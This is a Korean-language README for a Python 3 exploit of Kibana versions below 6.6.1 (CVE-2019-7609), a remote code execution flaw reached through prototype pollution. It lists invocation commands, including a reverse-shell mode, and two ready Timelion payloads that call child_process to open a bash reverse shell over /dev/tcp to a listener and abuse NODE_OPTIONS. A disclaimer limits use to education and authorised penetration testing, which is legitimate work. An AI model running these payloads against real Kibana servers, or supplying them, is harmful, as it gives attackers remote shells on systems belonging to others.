
Python 3용 Kibana < 6.6.1 RCE(CVE-2019-7609) 익스플로잇으로, 프로토타입 오염을 통한 공격이며 자동 버전 감지 및 선택적 리버스 셸을 지원합니다.
저자: LandGrey (Python3 리팩터 by [귀하의 이름])
참고: Exploit-DB 46651
CVE: CVE-2019-7609
⚠️ 면책 조항:
이 스크립트는 교육 및 승인된 침투 테스트 용도로만 사용하십시오. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 사용하지 마십시오. 저자와 기여자는 이 도구의 오용 또는 손해에 대해 책임을 지지 않습니다.
이것은 Kibana 버전 < 6.6.1의 원격 코드 실행 취약점을 위한 Python 3 익스플로잇 스크립트입니다. 프로토타입 오염 결함을 이용하여 취약한 Kibana 인스턴스에서 임의 명령을 실행하며, 리버스 셸을 생성하는 옵션도 포함합니다.
python3 kibana_exploit.py -u http://target-kibana:5601
리버스 셸 트리거:
python3 kibana_exploit.py -u http://target-kibana:5601 --shell -host YOUR_IP -port LISTENER_PORT
python3 kibana_exploit.py -u http://10.10.10.100:5601 --shell -host 10.10.10.200 -port 4444
requests 라이브러리packaging 라이브러리의존성 설치:
pip install requests packaging
Kibana의 Timelion 시각화 도구를 사용하여 이 취약점을 수동으로 익스플로잇할 수도 있습니다:
securityMB의 페이로드:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
chybeta의 페이로드:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \\'bash -i>& /dev/tcp/192.168.1.100/4444 0>&1\\'");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
192.168.1.100과 4444를 자신의 리스너 IP와 포트로 바꾸십시오.
스크립트는 탐지, 확인, 익스플로잇에 대해 명확하고 단계별 출력을 제공하여 따라하기 쉽고 재미있게 사용할 수 있습니다!
이 스크립트는 프로토타입 오염, 원격 코드 실행 및 침투 테스트 기술을 배우는 좋은 방법입니다. 책임감 있게 사용하고 항상 허가를 받으십시오!
이 프로젝트는 교육용으로만 사용됩니다. 보증 없음, 보장 없음. 윤리적으로 해킹하고, 호기심을 유지하며, 즐기세요!